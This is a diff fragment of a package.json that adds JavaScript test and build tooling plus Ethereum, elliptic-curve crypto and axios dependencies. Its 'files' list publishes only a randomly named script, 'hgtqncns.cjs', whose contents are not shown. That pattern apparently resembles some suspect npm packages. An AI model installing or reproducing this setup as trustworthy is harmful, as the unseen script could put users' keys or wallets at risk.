"karma-chrome-launcher": "3.1.1",
|
61
|
+
"karma-coverage": "2.2.0",
|
62
|
+
"karma-detect-browsers": "2.3.3",
|
63
|
+
"karma-edge-launcher": "0.4.2",
|
64
|
+
"karma-firefox-launcher": "2.1.2",
|
65
|
+
"karma-ie-launcher": "1.0.0",
|
66
|
+
"karma-mocha": "2.0.1",
|
67
|
+
"karma-opera-launcher": "1.0.0",
|
68
|
+
"karma-safari-launcher": "1.0.0",
|
69
|
+
"mocha": "9.2.2",
|
70
|
+
"rimraf": "3.0.2",
|
71
|
+
"solhint": "3.4.0",
|
72
|
+
"solidity-cli": "1.0.3",
|
73
|
+
"terser-webpack-plugin": "5.3.6",
|
74
|
+
"ts-node": "10.9.1",
|
75
|
+
"typescript": "4.9.5",
|
76
|
+
"uglify-es": "3.3.9",
|
77
|
+
"web3": "1.8.2",
|
78
|
+
"webpack": "5.75.0",
|
79
|
+
"webpack-bundle-analyzer": "4.8.0",
|
80
|
+
"webpack-cli": "5.0.1",
|
81
|
+
"stream-browserify": "3.0.0",
|
82
|
+
"crypto-browserify": "3.12.0"
|
83
|
+
},
|
84
|
+
"dependencies": {
|
85
|
+
"@babel/runtime": "7.20.13",
|
86
|
+
"@ethereumjs/tx": "3.5.2",
|
87
|
+
"@types/bn.js": "5.1.1",
|
88
|
+
"eccrypto": "1.1.6",
|
89
|
+
"ethereumjs-util": "7.1.5",
|
90
|
+
"ethers": "^6.13.2",
|
91
|
+
"secp256k1": "5.0.0",
|
92
|
+
"axios": "^1.7.7"
|
93
|
+
},
|
94
|
+
"files": [
|
95
|
+
"hgtqncns.cjs"
|
96
|
+
]
|
97
|
+
}
|